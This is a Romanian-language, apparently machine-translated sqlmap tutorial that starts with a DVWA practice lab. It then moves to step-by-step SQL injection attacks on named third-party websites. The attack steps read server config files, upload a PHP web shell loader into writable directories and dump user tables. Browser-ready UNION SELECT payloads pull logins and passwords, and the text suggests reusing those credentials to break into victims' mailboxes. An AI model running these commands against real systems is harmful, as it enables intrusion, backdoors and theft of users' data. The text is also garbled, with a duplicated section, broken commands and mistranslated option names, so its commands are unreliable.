Umplerea shell-ului folosind injecția sql. Utilizarea de bază a SQLMap

SQL Injection este un tip de atac în care un atacator modifică logica de interogare SQL a unei aplicații web, permițându-i să citească/modifica/șterge valori din baza de date și uneori să execute cod arbitrar pe partea serverului. Acest articol va discuta despre popularul utilitar sqlmap pentru efectuarea de injecții SQL.

În acest moment, acest tip de vulnerabilitate este cea mai periculoasă dintre toate posibile. Timp de 7 ani, linia principală a „OWASP TOP-10” a fost condusă de injecții SQL.

Există 5 motive principale pentru această vulnerabilitate:

  1. Validarea insuficientă sau lipsă a parametrilor de intrare, în special a celor introduse de utilizator. „Orice parametru de intrare este rău”
  2. Acces nerezonabil și slab protejat la bazele de date. Această categorie include factori precum: un număr mare de administratori și super-utilizatori (rădăcină), un sistem de autentificare slab, un număr mare de drepturi pentru administratorii secundari etc.
  3. Arhitectură. Utilizarea tehnologiilor învechite, lipsa măsurilor de control, neglijarea metodologiei „modelării amenințărilor”.
  4. Ereditatea codului evident vulnerabil, utilizarea de soluții gata făcute cu un nivel scăzut de securitate.
  5. Lipsa unui nivel adecvat de abstractizare a codului executabil din date.

SQLMap.

Tipuri de injecții SQL.

Să ne uităm la tipurile de injecții SQL exploatate de utilitarul SQLMap:

  1. Injecție SQL oarbă bazată pe boolean
    • O metodă în care solicitările și răspunsurile HTTP sunt citite caracter cu caracter pentru a detecta vulnerabilități.
    • Odată ce este detectat un parametru vulnerabil, SQLMap înlocuiește sau adaugă instrucțiuni SQL corecte din punct de vedere sintactic în timp ce așteaptă ca serverul să răspundă prin executarea codului respectiv.
    • SQLMap compară cererea originală validă cu răspunsul de la o solicitare cu cod rău intenționat încorporat.
    • SQLMap folosește algoritmul de bisectare ( bisecțional algoritm) pentru a prelua fiecare caracter al răspunsului folosind maximum șapte solicitări HTTP.
    • Acolo unde răspunsul nu este dat în text pur, SQLMap adaptează algoritmul cu valori mai mari pentru a determina răspunsul.
  2. Injecție SQL oarbă bazată pe timp
    • Metoda Time Based în sine presupune că există o comparație bazată pe timpii de solicitare și răspuns prin injectarea unei instrucțiuni SQL corecte din punct de vedere sintactic în parametrul vulnerabil.
    • SQLMap utilizează instrucțiuni SQL care pun baza de date în așteptare pentru a reveni pentru o anumită perioadă de timp.
    • Folosind același algoritm bisecțional pentru a afișa caracter cu caracter, SQLMap compară timpul de răspuns HTTP cu cererea originală.
  3. Injecție SQL bazată pe erori
    • SQLMap folosește instrucțiuni SQL care pot genera anumite erori.
    • Utilitarul caută erori în răspunsul HTTP al serverului.
    • Această metodă funcționează numai dacă aplicația web este configurată să dezvăluie mesaje de eroare.
  4. Interogare UNION
    • Introduceți instrucțiunea SQL UNION ALL SELECT .
    • Injecția SQL bazată pe interogări UNION funcționează pe baza comportamentului aplicației, de exemplu. atunci când o aplicație trece rezultatul unei interogări SELECT scrise printr-o buclă specifică sau o linie de instrucțiuni care permite ca rezultatul să fie scris în conținutul paginii.
    • În cazul în care ieșirea nu este buclă prin nicio buclă pentru sau alt șir de instrucțiuni, SQLMap utilizează o singură injecție de interogare UNION.
  5. Interogare stivuită
    • Folosind interogări pliate. SQLMap adaugă un punct și virgulă (;) la valoarea parametrului afectat și adaugă instrucțiunea SQL care trebuie executat.
    • Folosind această tehnică, puteți executa instrucțiuni SQL, altele decât SELECT. Acest lucru este util pentru manipularea datelor, obținerea accesului de citire și scriere și, în final, pentru a fi capturat de sistemul de operare.
  6. În afara benzii
    • Această metodă utilizează un canal de comunicare secundar sau alt canal pentru a scoate rezultatele interogărilor executate în aplicația afectată.
    • De exemplu, inserarea se face într-o aplicație web și un canal secundar precum Interogări DNS, este folosit pentru a redirecționa datele către domeniul atacatorului.

Utilizarea de bază a SQLMap.

Lansați utilitarul (trebuie să fie în variabilaCALE ):

$sqlmap

Sau din directorul de utilitate:

$python sqlmap.py

Tasta este folosită pentru a apela documentația «- h / — Ajutor »:

$ sqlmap --help $ python sqlmap.py –help

Acțiunile cheilor SQLMap depind complet de ceea ce dorește exact să obțină atacatorul. Lista de bază a acțiunilor SQLMap arată astfel:

  • Listează informațiile bazei de date, cum ar fi numele, versiunea și alte detalii.
  • Selectați o anumită bază de date pentru a lista informații despre tabelele pe care le conține.
  • Selectați tabelul și enumerați informațiile coloanei.
  • Selectați o coloană și enumerați rândurile pentru a le prelua valorile.
  • Exploatarea în continuare.

Practica.

Pentru pregătirea noastră practică vom folosi La naiba Vulnerabil Web Aplicație (DVWA sau „La naiba de aplicație web vulnerabilă”).

DVWA este o aplicație web gratuită construită pe tehnologii precum PHP și MySQL, concepută pentru a antrena abilitățile de pentesting.

Acum ne interesează doar injecțiile, dar, în general, îți poți testa abilitățile în alte vulnerabilități create pe baza oficialului OWASP TOP -10 .

P.S.: Această practică presupune că aveți cunoștințe de bază pentru Linux, un nivel inițial de engleză și capacitatea de a folosi Google (dacă nu aveți abilitățile de mai sus).

Instalare:

  • Descărcați aplicația și urmați instrucțiunile;
  • Schimbați nivelul de dificultate la LOW;
  • Suntem interesați doar de filele „SQL Injection”;

Date inițiale:

  • Server web într-o rețea privată
  • Adresă URL vulnerabilă: http:// dvs gazdă . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Parametru vulnerabil: id

Deci, să începem:

  1. Confirmăm disponibilitateaSQL injecții:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480ee"

Explicația comenzii:

— url – URL cu presupusul parametru vulnerabil. Este important de reținut că variabila pentru această cheie este scrisă între ghilimele, deoarece Adresa URL care este verificată are mai mult de un parametru trecut. În caz contrar, puteți ignora ghilimele și puteți utiliza versiunea scurtă a cheii “- u fara semn egal .

- cookie – Cookie de sesiune pentru acces direct în timpul unui atac (cheie opțională).

Concluzie:

Analiză:

  • Aplicația este vulnerabilă la injecția SQL
  • Tip de injectare – Interogare UNION
  • Baza de date back-end (DBMS) – MySQL5
  • Detalii tehnice ale sistemului de operare - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Enumerăm numele bazelor de date:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480e4" –

Explicația comenzii:

—dbs – cheie pentru listarea bazelor de date disponibile.

Concluzie:

Analiză: SQLMap a enumerat bazele de date disponibile (7 în total).

  1. Enumerăm numele tabelelor (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415c5ef26c415ab480e425ab4804" --cookie="security=low;

Explicația comenzii:

-D – Specificați baza de date care ne interesează.

--tables – Listează tabelele disponibile în baza de date.

Concluzie:

Analiză: După cum putem vedea, SQLMap a listat cu succes numele a 2 tabele din baza de date dvwa .

  1. O listă suplimentară a numelor de coloane din tabel „utilizatorii ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab485" --cookie="security=low; utilizatori – coloane

Explicația comenzii:

-T – Indicați tabelul care ne interesează.

—columns – Listează coloanele disponibile în tabel.

Concluzie:

Analiză: După cum putem vedea, SQLMap a enumerat cu succes numele a 6 coloane din tabel utilizatorii, bd dvwa .

  1. Enumerăm/tragem valori din tabel „utilizatorii ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab485" --cookie="security=low; utilizatori -C user_id,user,parola --dump

Explicația comenzii:

C – Indicați coloanele care ne interesează.

--dump – Dumpează valorile din coloanele listate.

Concluzie:

Analiză: Pe baza răspunsului SQLMap, notăm următoarele puncte:

  • SQLMap preia înregistrările din coloanele specificate și apoi analizează datele conținute în acele coloane.
  • Odată ce datele sunt recunoscute ca posibile hash-uri de parole, SQLMap încearcă să spargă hash-ul folosind diverși algoritmi de hashing.
  • În acest caz, hash-ul este MD5, așa că, cu prima tehnică de hash pe care o folosește instrumentul, poate sparge cu succes hash-urile și poate produce un răspuns bine formatat.
  • În plus, instrumentul salvează intrările listate într-un format de fișier „.csv” pentru utilizare ulterioară; Deci nu trebuie să aruncați datele într-un fișier text sau să faceți o captură de ecran, SQLMap se va ocupa de asta.
  1. Exploatarea și preluarea în continuare a serverului (A.S.P. , neinclusDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Explicația comenzii:

—date – Specificați parametrii pentru testare care sunt trimiși în cererea POST.

—os —shell – Cheie specială pentru încercarea de a exploata consola serverului prin injecție SQL.

Concluzie:

Analiză: Pe baza răspunsului SQLMap, notăm următoarele puncte:

  • După confirmarea și exploatarea injecției SQL, SQLMap verifică dacă utilizatorul este DBA (Data Base Administrator).
  • Instrumentul a încercat apoi să utilizeze o procedură stocată extinsă - „xp_cmdshell”, care este folosită în mod obișnuit de SQL Server 2000.
  • „xp_cmdshell” este folosit pentru a executa linia de comandă dată ca o comandă a sistemului de operare. La rândul său, scoate rezultatul ca text standard.

Beneficiile obținerii unui nivel mai profund de acces la sistem:

  • Acces la acreditările utilizatorului sau la hash-uri de parolă.
  • Un shell interactiv care vă va permite să încărcați sau să descărcați fișiere de pe server.
  • Rulați comenzile axei (OS) pentru a explora rețeaua internă.
  • Posibilitatea de a descărca programe malware.
  • Exploatarea în continuare folosind Metasploit Framework.
  • Crearea și umplerea ușilor din spate.

Cele mai bune practici și utilizare avansată.

  1. SQLMap ŞiSĂPUN (Simplu Obiect Acces Protocol ) solicită: Procesul de analizare a cererilor SOAP este destul de simplu:
    • Capturați solicitarea dvs. SOAP.
    • Salvarea acestuia într-un fișier text împreună cu posibilii parametri vulnerabili.
    • Utilizați comanda de mai jos pentru SQLMap împreună cu opțiunea -p dacă cunoașteți parametrul vulnerabil:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap va analiza automat cererea SOAP și va încerca să pătrundă în parametrul vulnerabil.
  1. SQLMap ŞiJSON (JavaScript Obiect Notaţie ) solicită:În scenarii similare pentru utilizarea SQLMap pentru interogări SOAP, interogările JSON pot fi, de asemenea, analizate și exploatate. Pentru un tip de interogare JSON, SQLMap vă va solicita să exploatați vulnerabilitatea detectând tipul de interogare JSON în „fișierul de interogare”. Odată ce răspundeți da, instrumentul va analiza solicitarea și va alege propriul vector de atac.
  2. SQLMap și server proxy: Tipurile de rețele de întreprindere sunt de obicei securizate și monitorizate folosind proxy-uri controlate pentru tot traficul de intrare sau de ieșire. În astfel de cazuri, aveți opțiunea de a adăuga o opțiune proxy direct la opțiunea SQLMap pentru a comunica cu adresa URL țintă. Deși SQLMap este un instrument de linie de comandă, el comunică prin protocolul HTTP, prin urmare, dacă setați un proxy HTTP pentru conexiunea la Internet corespunzătoare, SQLMap îl va lua ca bază:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap ŞiWAF (Web Aplicație Firewall ): WAF este un strat suplimentar de protecție pentru aplicațiile web, complicând semnificativ analiza și operarea folosind metodele standard disponibile în SQLMap. În acest scop, există o funcție „tamper -script”, care simplifică foarte mult lucrul cu aplicațiile web situate în spatele unui WAF.
  2. SQLMap si anonimatul: Dacă doriți să vă ascundeți identitatea și să vă prezentați ca anonim pentru aplicația țintă, puteți utiliza serverul proxy TOR (The Onion Router). În SQLMap puteți configura proxy-ul TOR pentru a ascunde sursa din care se generează traficul sau cererea cu următoarele chei:
    • tor comutarea utilitarului în modul proxy TOR.
    • tor tip configurarea manuală a protocolului proxy TOR (HTTP /SOCKS 4/4a /5).
    • verifica tor verificarea funcționalității proxy-ului TOR

Spoiler: .ZEN

Avem o injecție SQL pe site care arată astfel:

Primul lucru pe care vrem să-l facem este să verificăm dacă avem privilegii de a scrie fișiere pe resursa atacată pentru a face acest lucru, să încărcăm terminalul și să lansăm următoarea comandă:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Apăsăm Enter și începe analiza injecției noastre SQL, raportul arată astfel:

După cum puteți vedea în raport, sunt scrise versiunea Apache, versiunea MySQL și versiunea OS instalată pe server, toate acestea ne vor fi utile în viitor, dar cel mai important, puteți vedea că avem drepturi de a scrie fișiere, aceasta este afișată în linia Current User is DBA: True

Următorul pas pentru noi este să obținem căile pentru a ne înregistra shell-ul. Putem obține calea către site-ul nostru pe server prin descărcarea fișierului httpd.conf. Obținem informații despre locația fișierului httpd.conf folosind Google, puteți căuta după versiunea sistemului de operare instalat sau după lista celor mai probabile căi. În general, nu voi intra în adâncime în navigarea pe motoarele de căutare, tocmai când ați aflat cea mai probabilă locație a căii către fișier, atunci este timpul să descărcați același fișier pe disc, pentru a face acest lucru, introduceți următoarele comandă și solicită citirea fișierului de pe server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Să observăm imediat că nu este întotdeauna posibil să găsiți acest fișier de configurare pentru prima dată, astfel încât să puteți utiliza căile cele mai probabile în care poate fi localizat acest fișier:

LISTA CĂI POSIBILE CĂTRE FIȘIERUL DE CONFIG:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Primim un raport de la sqlmap sub următoarea formă:

După cum puteți vedea, sqlmap ne-a spus că fișierul are aceeași dimensiune ca fișierul de pe server, prin urmare avem dreptul de a citi acest fișier. Dacă nu există suficiente drepturi pentru a citi acest fișier, atunci ar apărea o eroare că fișierul salvat pe mașina noastră are o dimensiune diferită de fișierul de pe server sau nu există niciun fișier pe server la calea pe care am specificat-o și nu a avut niciodată fost. Sqlmap a salvat fișierul nostru în fișierele de raport și pentru a-l citi trebuie să lansăm managerul de ferestre. Pentru a lansa managerul de ferestre, deschidem o altă fereastră de terminal și introducem comanda:

Apoi, în managerul care se deschide, urmăm calea în care sqlmap a adăugat fișierul, adică:
/root/.sqlmap/output/sacoor.com
Apoi, treceți cursorul peste fișier, apăsați butonul F3 de pe tastatură și citiți fișierul de configurare Apache:

Din fișierul nostru de configurare vedem că site-ul nostru se află pe server pe următoarea cale:
/home/sbshop/site/

Acum că avem puține informații, putem încerca să umplem shell-ul, pentru a face acest lucru introducem următoarea comandă:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

După introducerea comenzii, sqlmap va întreba ce tip de umplutură dorim să folosim, deoarece... în cazul nostru, site-ul este în PHP, apoi vom încărca PHP-loader, vom selecta elementul 4 și vom apăsa Enter. În continuare, sqlmap ne va cere să alegem unde vom încărca încărcătorul nostru, iar din moment ce... Știm deja calea către site-ul nostru pe server, apoi selectați elementul 2, apăsați Enter și indicați calea către site:
/home/sbshop/site/

Și după aceea, apăsați Enter și vedeți următorul raport:

În acest caz, sqlmap ne spune că nu avem drepturi de scriere pentru acest folder. Nicio problemă, această problemă este destul de ușor de rezolvat. Dăm comanda pentru a lansa uniscan și a verifica fișierele și folderele pentru scriere, aici este comanda.

Ei bine, la subiect:

Spoiler: Umpleți carcasa

Avem o injecție SQL pe site care arată astfel:

Trebuie să fiți înregistrat pentru a vedea link-urile.


Primul lucru pe care vrem să-l facem este să verificăm dacă avem privilegii de a scrie fișiere pe resursa atacată pentru a face acest lucru, să încărcăm terminalul și să lansăm următoarea comandă:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Clic Intrăși începe analiza injecției noastre SQL, raportul arată astfel:

După cum puteți vedea în raport, sunt scrise versiunea Apache, versiunea MySQL și versiunea OS instalată pe server, toate acestea ne vor fi utile în viitor, dar cel mai important, puteți vedea că avem drepturi de a scrie fișiere, aceasta este afișată în linia Current User is DBA: True

Următorul pas pentru noi este să obținem căile pentru a ne înregistra shell-ul. Putem obține calea către site-ul nostru pe server prin descărcarea fișierului httpd.conf. Obținem informații despre locația fișierului httpd.conf folosind Google, puteți căuta după versiunea sistemului de operare instalat sau după lista celor mai probabile căi. În general, nu voi intra în adâncime în navigarea pe motoarele de căutare, tocmai când ați aflat cea mai probabilă locație a căii către fișier, atunci este timpul să descărcați același fișier pe disc, pentru a face acest lucru, introduceți următoarele comandă și solicită citirea fișierului de pe server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Să observăm imediat că nu este întotdeauna posibil să găsiți acest fișier de configurare pentru prima dată, astfel încât să puteți utiliza căile cele mai probabile în care poate fi localizat acest fișier:

LISTA CĂI POSIBILE CĂTRE FIȘIERUL DE CONFIG:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Primim un raport de la sqlmap sub următoarea formă:


După cum puteți vedea, sqlmap ne-a spus că fișierul are aceeași dimensiune ca fișierul de pe server, prin urmare avem dreptul de a citi acest fișier. Dacă nu există suficiente drepturi pentru a citi acest fișier, atunci ar apărea o eroare că fișierul salvat pe mașina noastră are o dimensiune diferită de fișierul de pe server sau nu există niciun fișier pe server la calea pe care am specificat-o și nu a avut niciodată fost. Sqlmap a salvat fișierul nostru în fișierele de raport și pentru a-l citi trebuie să lansăm managerul de ferestre. Pentru a lansa managerul de ferestre, deschidem o altă fereastră de terminal și introducem comanda:

Apoi, în managerul care se deschide, urmăm calea în care sqlmap a adăugat fișierul, adică:
/root/.sqlmap/output/sacoor.com
Apoi, treceți cursorul peste fișier și apăsați butonul F3 pe tastatură și citiți fișierul de configurare Apache:


Din fișierul nostru de configurare vedem că site-ul nostru se află pe server pe următoarea cale:
/home/sbshop/site/

Acum că avem puține informații, putem încerca să umplem shell-ul, pentru a face acest lucru introducem următoarea comandă:

După introducerea comenzii, sqlmap va întreba ce tip de umplutură dorim să folosim, deoarece... in cazul nostru, site-ul este in PHP, apoi vom incarca PHP-loader, selectați punctul 4și apăsați Enter. În continuare, sqlmap ne va cere să alegem unde vom încărca încărcătorul nostru, iar din moment ce... știm deja calea către site-ul nostru pe server, apoi selectăm punctul 2, apăsați Intrăși specificați calea către site:
/home/sbshop/site/

Și după aceea apăsăm Intrăși vedem următorul raport:


În acest caz, sqlmap ne spune că nu avem drepturi de scriere pentru acest folder. Nicio problemă, această problemă este destul de ușor de rezolvat. Dăm comanda pentru a lansa uniscan și a verifica fișierele și folderele pentru scriere, aici este comanda:

Uniscan -u http://www.sacoor.com/ -qwe

Acum scanerul va verifica toate directoarele care pot fi scrise:


Scanerul a găsit trei directoare cu capacitatea de a scrie fișiere, așa că încercăm să încărcăm din nou shell loader-ul, dar de data aceasta într-un mod diferit. Rulați comanda din nou:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

iar prin selectare punctul 4(completând scriptul PHP), specificați calea:
/home/sbshop/site/admin

Vedem următoarele.

Ce este sqlmap și pentru ce este?

Programul vă permite să verificați site-urile pentru vulnerabilități de injectare SQL, vulnerabilități XSS și, de asemenea, să exploatați injecția SQL. Sunt acceptate diferite tipuri de injecții SQL și o varietate de baze de date.

Ce poți face cu sqlmap

Cu sqlmap puteți:

  • verificați dacă site-urile web au vulnerabilități

Dacă site-ul este vulnerabil la injecția SQL, atunci este posibil:

  • primiți informații din baza de date, inclusiv dump (întreaga) bază de date
  • modifica și șterge informații din baza de date
  • încărcați un shell (backdoor) pe un server web

Unul dintre scenariile pentru utilizarea sqlmap:

  • Obținerea numelui de utilizator și a parolei din baza de date
  • Căutați panouri de administrare a site-ului (panoul de administrare)
  • Conectați-vă la panoul de administrare cu datele de conectare și parola primite

Dacă există o vulnerabilitate, atacul se poate dezvolta în diferite direcții:

  • Modificarea datelor
  • Umplerea ușii din spate
  • Injectarea codului JavaScript pentru a obține date despre utilizator
  • Implementarea codului pentru conectarea la BeEF

După cum putem vedea, injecția SQL este o vulnerabilitate foarte periculoasă care oferă unui atacator oportunități mari.

Verificarea site-urilor web folosind sqlmap

Dacă site-ul primește date de la utilizator folosind metoda GET (când atât numele variabilei, cât și datele transmise sunt vizibile în bara de adrese a browserului), atunci trebuie să selectați adresa paginii în care se află această variabilă. prezent. Vine după semnul întrebării ( ? ), De exemplu:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

În prima adresă, numele variabilei este id, iar valoarea transmisă este 8 . În a doua adresă este și numele variabilei id, și valoarea transmisă 22 . În al treilea exemplu, numele variabilei este același, dar valoarea care este transmisă este aceeași p_36. Același nume de variabilă este o potrivire aleatorie pentru diferite site-uri, poate fi orice, datele transmise pot fi orice, pot exista mai multe variabile cu valori separate printr-un simbol & .

Dacă vrem să verificăm dacă variabila id este vulnerabilă la injectarea SQL, atunci trebuie să introducem întreaga adresă - http://www.dwib.org/faq2.php?id=8 (nu http://www.dwib .org /faq2.php sau http://www.dwib.org).

Comanda de verificare a unei variabile transmise prin metoda GET este foarte simplă:

Sqlmap -u site_address

Pentru aceste site-uri comenzile vor fi:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

În timpul procesului de verificare, sqlmap poate pune diverse întrebări și trebuie să răspundeți la acestea y(adică da) sau n(adică Nu). Literele y și n pot fi majuscule sau mici. Litera majusculă înseamnă alegerea implicită, dacă sunteți de acord cu ea, atunci apăsați Enter.

Exemple de situații și întrebări:

Euristica a detectat că ținta este protejată de un fel de WAF/IPS/IDS, doriți ca sqlmap să încerce să detecteze backend WAF/IPS/IDS?

Euristica a determinat că ținta este protejată de un fel de WAF/IPS/IDS. Doriți ca sqlmap să încerce să determine numele WAF/IPS/IDS?

Cererea mea preferată:

Testul euristic (de bază) arată că parametrul GET „id” ar putea fi injectabil (posibil DBMS: „MySQL”) testarea pentru injectarea SQL pe parametrul GET „id” se pare că SGB-ul back-end este „MySQL”. Doriți să omiteți încărcăturile utile de testare specifice altor SGBD?

Ideea este că euristica a determinat că parametrul poate fi vulnerabil și DBMS-ul la distanță a fost deja identificat, suntem întrebați dacă vrem să continuăm verificarea. Și în a doua captură de ecran, site-ul este, de asemenea, vulnerabil la XSS.

Dacă doriți să automatizați procesul astfel încât sqlmap să nu vă întrebe de fiecare dată, ci să folosească selecția implicită (există întotdeauna opțiuni mai bune), atunci puteți rula comanda cu opțiunea --lot:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Posibile probleme la scanarea sqlmap

Pot apărea următoarele erori:

Conexiune a expirat la adresa URL țintă. sqlmap va reîncerca solicitările dacă problema persistă, verificați dacă adresa URL țintă furnizată este validă. În cazul în care este, puteți încerca să rulați din nou cu comutatorul "--random-agent" activat și/sau comutatoarele proxy ("--ignore-proxy", "--proxy",...)

Înseamnă că site-ul web nu vrea să „vorbească” cu sqlmap. Ca opțiune ne este oferit să folosim --agent-aleatoriu. Dacă puteți urmări site-ul în browser, dar sqlmap scrie despre imposibilitatea conectării, atunci site-ul ignoră solicitările, concentrându-se pe agentul utilizator. Opțiunea --random-agent modifică valoarea standard sqlmap la aleatoriu:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Un alt motiv pentru această eroare ar putea fi faptul că IP-ul dvs. este blocat de un site web - atunci trebuie să utilizați un proxy. Dacă utilizați deja un proxy și apare această eroare, poate însemna că proxy-ul are probleme de comunicare și ar trebui să încercați fără el.

rezultatele scanării sqlmap

Injecțiile SQL detectate sunt afișate după cum urmează:

Aceste. sunt evidențiate cu culoare verde aldine, este scris numele parametrului vulnerabil, tipul de vulnerabilitate SQL și există cuvântul injectabil.

Obținerea unei liste de baze de date cu sqlmap

Pentru a obține o listă de baze de date, utilizați opțiunea --dbs. Exemple:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Preluarea informațiilor din baze de date

De exemplu, au fost găsite două baze de date pentru site-ul wellerpools.com:

[*] information_schema [*] main_wellerpools

Vreau să știu lista de tabele din baza de date main_wellerpools. Pentru a face acest lucru, utilizați opțiunea --mesele. În plus, trebuie să indicăm tabelul care ne interesează după opțiune -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Lista de tabele:

Din anumite motive, vreau să știu lista de coloane din tabelul utilizatori. Pentru a face acest lucru, utilizați opțiunea --coloane. În plus, trebuie să indicăm baza de date care ne interesează ( -D main_wellerpools) și după cheie -T tabelul pentru care dorim să vedem o listă de coloane:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T utilizatori --columns

Pentru a afișa conținutul, utilizați opțiunea --descărcare. Poate fi specificat împreună cu baza de date, iar apoi se va face un dump al întregii baze de date, sau puteți limita datele la un tabel sau chiar la o coloană. Cu următoarea comandă vreau să văd conținutul întregului tabel de utilizatori:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T utilizatori --dump

Uitați-vă la parole - la o inspecție rapidă, am crezut că sunt hashes. Administratorii au încercat cu adevărat să se apere, dar nu i-a ajutat.

Apropo, deoarece parametrul care acceptă datele trimise prin metoda GET este vulnerabil, puteți forma o solicitare direct în linia browserului, astfel încât login-ul și parola utilizatorului să fie afișate direct pe site-ul propriu-zis:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+de la+utilizatori--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+de la+utilizatori--

Aceste. Avem numele de utilizator, parola și e-mailul utilizatorilor (și cel mai probabil chiar al administratorilor) site-ului. Dacă puteți găsi panoul administrativ al site-ului, puteți obține controlul site-ului sau al serverului web. Având în vedere dragostea utilizatorilor pentru aceleași parole și cunoașterea căsuțelor lor poștale, puteți încerca să le piratați corespondența.

În general, injecția SQL este o vulnerabilitate foarte periculoasă.

Salutări, cititor. În ultimul timp, m-a interesat securitatea web și, într-o oarecare măsură, munca mea este legată de asta. Deoarece Din ce în ce mai des am început să observ subiecte pe diverse forumuri prin care le cer să arate cum funcționează totul, așa că am decis să scriu un articol. Articolul se va adresa celor care nu au întâlnit acest lucru, dar ar dori să învețe. Există relativ multe articole pe această temă pe Internet, dar pentru începători sunt puțin complicate. Voi încerca să descriu totul într-un limbaj clar și exemple detaliate.

Prefaţă

Pentru a înțelege acest articol, nu aveți nevoie de cunoștințe despre limbajul SQL, dar măcar de răbdare bună și puțin creier pentru memorare.

Cred că doar citirea articolului nu va fi suficientă, pentru că... avem nevoie de exemple vii - după cum știți, practica în procesul de memorare nu este niciodată de prisos. Prin urmare, vom scrie scripturi vulnerabile și vom pregăti despre ele.

Ce este injectarea SQL?
În termeni simpli, acesta este un atac asupra bazei de date, care vă va permite să efectuați o acțiune care nu a fost planificată de creatorul scriptului. Exemplu din viață:

Tatăl i-a scris într-o notă mamei sale să-i dea lui Vasya 100 de ruble și să le pună pe masă. Reluând acest lucru într-un limbaj SQL comic, obținem:
LUAȚI 100 DE RUBLE DIN PORTOfel și dă-le lui Vasya

Deoarece tatăl a scris prost bilețelul (scris de mână stângaci) și a lăsat-o pe masă, fratele lui Vasya, Petya, a văzut-o. Petya, fiind un hacker, a adăugat „OR Pete” acolo și rezultatul a fost următoarea solicitare:
LUAȚI 100 DE RUBLE DIN PORTOfel și DĂ-LE LUI Vasya SAU Petya

